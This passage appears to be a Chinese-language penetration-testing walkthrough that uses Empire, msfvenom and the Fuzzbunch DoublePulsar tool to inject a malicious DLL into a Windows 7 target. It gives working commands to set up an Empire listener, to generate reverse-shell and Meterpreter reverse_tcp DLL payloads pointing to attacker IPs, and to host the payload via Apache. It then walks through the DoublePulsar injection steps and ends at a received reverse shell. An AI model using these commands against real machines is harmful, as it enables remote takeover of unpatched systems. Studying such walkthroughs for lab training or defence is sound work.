首先，我们在Empire中设置一个侦听处理程序，并生成一个包含反向shell的恶意DLL文件。首先我们使用Empire命令创建一个监听器：
listeners set Name Eternalblue set Host http://10.11.1.16 set Port 4444 execute输入完成后，你可以使用list命令来检查配置内容是否正确：
接着，我们使用以下命令来创建一个包含反向shell的恶意DLL文件：
usestager dll Eternalblue set Arch x64 set OutFile /var/www/html/launcher.dll executeDLL文件现在存储在Web根目录下。要将DLL传输到另一台Windows 7攻击机上，只需使用以下命令启动Apache Webserver即可：
service apache2 start现在我们就可以使用浏览器，从Windows 7攻击机上下载DLL文件了。 我们将launcher.dll文件存储在Windows文件夹中。
Msfvenom恶意DLL文件的创建除此之外，你还可以使用msfvenom来生成恶意DLL文件，并使用多处理程序设置监听：
msfvenom -p windows/x64/meterpreter/reverse_tcp -a x64 –platform windows -f dll LHOST=192.168.1.16 LPORT=4444 > /var/www/html/launcher.dll以上命令将使用msfvenom，生成一个Meterpreter的有效载荷：
DoublePulsar下一步是运行DoublePulsar并注入恶意的launcher.dll文件。在Fuzzbunch中键入以下命令以使用DoublePulsar：
use DoublePulsar
接着DoublePulsar会为我们显示相关的目标参数，如果你的攻击目标为不同的架构，则需要选择对应的系统架构（32或64bit）。其他变量我们只需保持默认不变即可，直到功能选项出现。
在接下来的功能选项中，我们选择2注入并运行一个DLL文件（我们之前生成的恶意DLL文件）。
然后我们需要输入DLL文件的位置，以及其他一些选项我们默认回车即可。
选择所有其他变量设置的默认选项，直到Fuzzbunch询问我们是否要执行DoublePulsar：
如果一切顺利，DoublePulsar将输出DoublePulsar成功的提示：
当我们切换到运行Empire监听器的Kali Linux虚拟机时，我们应该已经获取到了目标机器的一个反向shell，但是我们无法与之进行交互：
